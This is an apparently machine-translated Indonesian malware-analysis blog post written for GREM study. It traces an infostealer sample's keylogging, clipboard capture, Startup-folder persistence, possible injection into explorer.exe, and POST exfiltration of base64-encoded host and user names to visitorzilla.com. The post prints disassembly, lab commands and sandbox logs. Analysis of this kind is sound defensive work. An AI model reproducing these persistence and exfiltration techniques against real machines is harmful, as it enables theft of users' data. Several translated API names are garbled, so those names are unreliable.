Posting ini dan yang lainnya untuk bulan ini adalah bagian dari seri yang saya gunakan untuk membantu saya mempersiapkan sertifikasi GIAC Reverse Engineer Malware (GREM) saya.
Seperti biasa, analisis statis dan dinamis diselesaikan sebelum upaya apa pun untuk mempelajari sampel ini melalui Memandu dan x64dbg.
Lihatlah ini dari perspektif Ghidra dan x64dbg dengan melihat beberapa panggilan fungsi.
Analisis Kode Statis Ghidra
Melihat ke DapatkanProses Saat Ini fungsi, kita melihat fungsi ini dipanggil dan nilai kembalian didorong ke tumpukan.
00406205 ff d6 CALL ESI=>KERNEL32.DLL::GetCurrentProcess 00406207 50 PUSH EAX ; HANDLE hTargetProcessHandle fo
Ingin memahami apa SHGetSpecialFolderPathA fungsinya adalah tentang, di bawah ini kita lihat:
00401f84 6a 00 PUSH 0x0 ; BOOL fCreate for SHGetSpecialF 00401f86 6a 1a PUSH 0x1a ; int csidl for SHGetSpecialFold 00401f88 8d 44 24 08 LEA EAX=>file_path, [ESP + 0x8] 00401f8c 50 PUSH EAX ; LPSTR pszPath for SHGetSpecial 00401f8d 6a 00 PUSH 0x0 ; HWND hwnd for SHGetSpecialFold 00401f8f ff 15 74 CALL dword ptr [->SHELL32.DLL::SHGetSpecialFolderPathA]
Pemahaman saya adalah bahwa nilai 0x1a yang berhubungan dengan csidl menentukan foldernya. Nilai ini 0x1a mewakili DATA APLIKASI map. Atau, dapat mengkonfirmasi folder ini di debugger. Catatan, dari sudut pandang Ghidra, panggilan ini dilakukan dua kali.
Setelah menemukan folder khusus, panggilan dilakukan ke BuatDirektoriA.
00401fff 6a 00 PUSH 0x0 ; LPSECURITY_ATTRIBUTES lpSecuri 00402001 50 PUSH EAX=>DAT_004342ac ; LPCSTR lpPathName for CreateDi 00402002 ff 15 38 CALL dword ptr [->KERNEL32.DLL::CreateDirectoryA]
Selanjutnya, kita melihat panggilan dilakukan ke GetComputerNameA untuk mempelajari nama komputer.
00403580 68 f8 41 PUSH nSize_004341f8 ; LPDWORD nSize for GetComputerNameA ; = 00000010 00403585 68 d4 6d PUSH lpBuffer_00436dd4 ; LPSTR lpBuffer for GetComputerNameA ; = ?? 0040358a ff 15 18 CALL dword ptr [->KERNEL32.DLL::GetComputerNameA]
Setelah fungsi untuk mendapatkan nama komputer dijalankan, kita kemudian melihat panggilan ke GetUserNameA.
00403580 68 f8 41 PUSH nSize_004341f8 ; LPDWORD nSize for GetComputerNameA ; = 00000010 00403585 68 d4 6d PUSH lpBuffer_00436dd4 ; LPSTR lpBuffer for GetComputerNameA ; = ?? 0040358a ff 15 18 CALL dword ptr [->KERNEL32.DLL::GetComputerNameA]
Fungsi lain yang menarik berkaitan dengan BuatFileA. Melihat di Ghidra, ada beberapa panggilan ke fungsi ini. Khususnya 5 panggilan. Melihat salah satunya, kami melihat file normal sedang dibuat dengan izin baca dan file tersebut harus dibuka hanya jika sudah ada.
LAB_00406729 XREF[1]: 00406721(j) 00406729 6a 00 PUSH 0x0 ; HANDLE hTemplateFile for CreateFileA 0040672b 51 PUSH this ; DWORD dwFlagsAndAttributes for CreateFileA 0040672c 50 PUSH EAX ; DWORD dwCreationDisposition for CreateFileA 0040672d 8d 85 e0 LEA EAX=>local_124, [EBP + 0xfffffee0] 00406733 50 PUSH EAX ; LPSECURITY_ATTRIBUTES lpSecurityAttributes f 00406734 52 PUSH EDX ; DWORD dwShareMode for CreateFileA 00406735 ff b5 f0 PUSH dword ptr [EBP + dwDesiredAccess] ; DWORD dwDesiredAccess for CreateFileA 0040673b ff b5 f4 PUSH dword ptr [EBP + lpFileName] ; LPCSTR lpFileName for CreateFileA 00406741 ff 15 b0 CALL dword ptr [->KERNEL32.DLL::CreateFileA]
Melihat panggilan ke PathAppendA, kita melihat ini di bawah ini membutuhkan pointer ke jalur asli dan titik lain ke string yang akan ditambahkan. Menantikan untuk melihat apa yang ditunjukkan x64dbg kepada kita di sini.
004043a1 8d 4c 24 24 LEA ECX=>local_310, [ESP + 0x24] 004043a5 51 PUSH ECX ; LPCSTR pMore for PathAppendA 004043a6 8d 94 24 LEA EDX=>local_20c, [ESP + 0x12c] 004043ad 52 PUSH EDX ; LPSTR pszPath for PathAppendA 004043ae ff 15 88 CALL dword ptr [->SHLWAPI.DLL::PathAppendA]
Melihat ke InternetTerbukaA panggil, kita lihat
004072ed ff 75 1c PUSH dword ptr [EBP + dwFlags] ; DWORD dwFlags for InternetOpenA 004072f0 ff 75 18 PUSH dword ptr [EBP + lpszProxyBypass] ; LPCSTR lpszProxyBypass for InternetOpenA 004072f3 ff 75 14 PUSH dword ptr [EBP + lpszProxy] ; LPCSTR lpszProxy for InternetOpenA 004072f6 ff 75 10 PUSH dword ptr [EBP + dwAccessType] ; DWORD dwAccessType for InternetOpenA 004072f9 50 PUSH EAX ; LPCSTR lpszAgent for InternetOpenA 004072fa ff 15 1c CALL dword ptr [->WININET.DLL::InternetOpenA]
Analisis Dinamis x64dbg
Melihat ke DapatkanProses Saat Ini kami mengkonfirmasi apa yang kami lihat di Ghidra bahwa nilai pengembalian FFFFFFFF (-1) yang disimpan di EAX didorong ke tumpukan, kami juga melihat nilai ini digunakan sebagai argumen untuk GetProcessMitigationPolicy fungsi yang memeriksa kebijakan mitigasi dari proses panggilan. Panggilan ini untuk GetProcessMitigationPolicy dibuat beberapa kali dalam sampel ini.
Melihat interaksinya, sepertinya malware ini juga berinteraksi dengan Clipboard seperti yang ditunjukkan melalui DaftarClipboardFormatA. Panggilan ini juga dilakukan beberapa kali.
Melihat kode sebelum pengembalian dieksekusi, kita melihat SHGetSpecialFolderPathA memiliki nilai “C:\Users\SecurityNik\AppData\Roaming”. Tebak itu menegaskan 0x1A kita pelajari sebelumnya melalui poin Ghidra ke data aplikasi map. Dalam panggilan lain, fungsi ini kembali “C:\Users\SecurityNik\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
Melihat ke BuatDirektoriA fungsi, kita melihat direktori bernama Cadangan data dibuat.
Konfirmasi lebih lanjut bahwa direktori ini telah dibuat.
C:UsersSecurityNik>dir %appdata% Directory of C:UsersSecurityNikAppDataRoaming 12/09/2020 11:53 AM <DIR> . 12/09/2020 11:53 AM <DIR> .. 12/09/2020 11:18 AM <DIR> DataBackup
Melihat panggilan ke GetComputerNameA. Tampaknya GetComputerNameA, akhirnya menelepon GetComputerNameW. Parameter pertama untuk GetComputerNameW adalah pointer ke buffer yang menerima nama komputer. Melihat output dari x64dbg, kita melihat alamatnya 0x0019FB84 menunjuk ke buffer yang menerima nama komputer yang dilaporkan sebagai SECRUTIYNIK-WIN. Anehnya panggilan untuk komputer dilakukan beberapa kali.
GetUserNameA panggilan GetUserNameExA dan pada akhirnya mengembalikan pengguna yang masuk saat ini yang KeamananNik.
Selanjutnya dapat kami tegaskan dua hal penting di atas sebagai berikut.
C:UsersSecurityNikAppDataRoamingDataBackup>hostname SECURITYNIK-WIN10 C:UsersSecurityNikAppDataRoamingDataBackup>whoami securitynik-winsecuritynik
Melihat salah satu panggilan ke BuatFileA kita lihat di bawah file bernama sed.ic sedang dibuat di dibuat sebelumnya Cadangan data map. Kemudian dalam debugging, panggilan ke BuatFileA menghasilkan pembuatan file bernama saya.ic dalam folder yang sama.
Setelah membiarkan kode di atas berjalan, saya tidak melihat file yang dibuat di folder.
Berikut adalah isi dari saya.ic mengajukan.
C:UsersSecurityNikAppDataRoamingDataBackup>type me.ic ===================================================================== Active Window: Process Hacker [SECURITYNIK-WINSecurityNik] SEESION 12/09/20 11:18:03 {ClipBoard Data:nfig.edge.sk"}mm
Memperhatikan PathAppendA fungsi, kita lihat di bawah apa yang tampak seperti ketekunan sedang ditambahkan melalui Memulai folder dari Mulai Menu melalui .LNK mengajukan.
C:UsersSecurityNikAppDataRoaming>wmic startup where "Caption like '%Data%'" list full Caption=DataABackup Command=DataABackup.lnk Description=DataABackup Location=Startup SettingID= User=SECURITYNIK-WINSecurityNik
Melihat ke Proses Terbuka panggilan, kita melihat panggilan untuk membuat proses yang memungkinkan duplikasi pegangannya. Selain itu, kami melihat prosesnya telah 000013F4.
Menggunakan Hex2Des dari Sysinternals, kami mengonversi 0x13f4 ke desimal dan dapatkan 5108.
C:UsersSecurityNikAppDataRoaming>hex2dec -nobanner 0x13f4 0x13F4 = 5108
Menggali lebih dalam, kita melihat bahwa proses dengan desimal 5108 sebagai ID prosesnya adalah explorer.exe.
C:UsersSecurityNikAppDataRoaming>wmic process where processID=5108 get ProcessID,name,CSName CSName Name ProcessId SECURITYNIK-WIN explorer.exe 5108
Jika saya tahu apa-apa pada saat ini, setiap kali malware terlihat membuka proses, terutama proses seperti penjelajah[.]exe, kita semua bisa menyimpulkan ini kemungkinan besar akan menjadi beberapa jenis proses injeksi. Mari kita lanjutkan perjalanan ini.
Meskipun tidak ditampilkan di bawah, ada panggilan ke InternetTerbukaA sehingga menginisialisasi penggunaan fungsi ini oleh aplikasi.
Kemudian ada panggilan lain untuk Proses Terbuka. Namun, kali ini merupakan upaya untuk membuka prosesnya sendiri dengan PID 0x794 yang merupakan desimal 1940.
C:UsersSecurityNikAppDataRoamingDataBackup>hex2dec -nobanner 0x794 0x794 = 1940 C:UsersSecurityNikAppDataRoamingDataBackup>wmic process where processID=1940 get ProcessID,name,CSName CSName Name ProcessId SECURITYNIK-WIN msdsrv.exe 1940
Berikut ini adalah panggilan untuk InternetConnectA yang mencoba terhubung ke pengunjungzilla[.]dengan di pelabuhan 0x50 (80).
Pada titik ini, saya memodifikasi tuan rumah file menambahkan entri untuk pengunjungzilla[.]dengan.
C:UsersSecurityNikAppDataRoaming>echo 10.0.0.113 visitorzilla.com >> c:windowsSystem32driversetchosts C:UsersSecurityNikAppDataRoaming>type c:windowsSystem32driversetchosts | findstr /i visit 10.0.0.113 visitorzilla.com
Selanjutnya kita melihat panggilan ke HTTPOpenRequestA melalui POS mencoba berkomunikasi dengan /werdfghswepfdhfr.php. Kemudian panggilan dibuat ke HTTPAddRequestHeaderSA dan HTTPSendRequestA. Ini tidak ditampilkan dalam posting ini.
Ini di atas diikuti dengan panggilan ke InternetTulis File untuk itu 0x126 (294) byte harus ditulis ke file bernama temp.txt.
Melihat lebih dekat pada data yang ditunjuk dalam buffer di 0x04557BB0 kami melihat “–JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93rnDisposisi-Konten: form-data; name=”shfjshf”rnrnU0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLwFUEHrrnU0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw==rrn–JFform name=”dssds”; namafile=”temp.txt”rnTipe-Konten: teks/plainrnPengkodean-Transfer-Konten: binerrnrn”
Sepertinya beberapa data di atas dikodekan base64. Memecah ini sedikit, kami melihat konten base64 diterjemahkan sebagai:
JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 - oaUqTqTEqOw U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw== - [email protected]/
Jika tidak ada, kita tahu di atas ada informasi tentang nama komputer dan pengguna.
Kemudian, panggilan lain dilakukan ke InternetTulis File, kali ini dengan sebagai berikut:
"rn--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93rnContent-Disposition: form-data; name=\Csubmit\C value=\Csubmit\Crnrnrn--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--rn"
Setelah selesai, ada panggilan ke InternetTutupPeganganA.
Melihat koneksi internet dari perspektif INetSim, kita melihat:
[email protected]:/tmp$ cat /var/log/inetsim/service.log | grep --perl-regexp ":21822]" [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] connect [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: POST /werdfghswepfdhfr.php HTTP/1.1 [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Type: multipart/form-data; boundary=JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: User-Agent: Top [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Host: visitorzilla.com [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Length: 440 [2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Cache-Control: no-cache [2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] info: POST data stored to: /var/lib/inetsim/http/postdata/f6083d9fb7a9dac9efd47287f5f4a83d16380e03 [2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] disconnect (timeout)
Melihat isi dari salah satu file postdata yang dibuat, kita melihat:
[email protected]:~/malware/day1$ sudo cat /var/lib/inetsim/http/postdata/c317d7ab622a9ede0150aa8c6903d55fd2acd9ec --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 Content-Disposition: form-data; name="shfjshf" U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw== --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 Content-Disposition: form-data; name="dssds"; filename="temp.txt" Content-Type: text/plain Content-Transfer-Encoding: binary --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93 Content-Disposition: form-data; name=CsubmitC value=CsubmitC --JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--
Saya belum memecahkan kode di atas. Namun, saya yakin jika kita melakukannya, itu akan menjadi hal yang sama seperti yang kita lihat sebelumnya.
Melanjutkan perjalanan ini, kami melihat panggilan untuk HapusFileA untuk menghapus file sed.ic.
Memverifikasi file ini ada sebelum kode ini dijalankan.
C:UsersSecurityNikAppDataRoamingDataBackup>dir sed.ic Volume in drive C has no label. Volume Serial Number is 6C10-15EA Directory of C:UsersSecurityNikAppDataRoamingDataBackup 12/10/2020 03:25 PM 0 sed.ic 1 File(s) 0 bytes 0 Dir(s) 36,314,120,192 bytes free
Membiarkan panggilan ke HapusFileA berjalan, kita melihat:
Mengonfirmasi file telah dihapus, kami melihat:
C:UsersSecurityNikAppDataRoamingDataBackup>dir sed.ic Volume in drive C has no label. Volume Serial Number is 6C10-15EA Directory of C:UsersSecurityNikAppDataRoamingDataBackup File Not Found
Setelah mencapai beberapa breakpoint lagi, prosesnya Dihentikan. Saya percaya salah satu mekanisme anti-debugging mungkin telah bekerja. Pada titik ini, saya telah mencapai tujuan saya. Saya telah belajar sedikit lebih banyak dan saya dapat mengekstrak beberapa IoC. Cukup untuk menyebutnya sehari dalam hal ini.
Referensi:
SANS FOR610 – GREM
Microsoft GetCurrentProcess
Mengapa GetCurrentProcess mengembalikan -1
GetProcessMigitationPolicy
DaftarClipboardFormatA
SHGetSpecialFolderPathA
BuatDirektoriA
GetComputerNameA
GetComputerNameW
GetUserNameA
PathAppendA
Proses Terbuka
HTTPOpenRuquestA
InternetTulis File
nilai CSIDL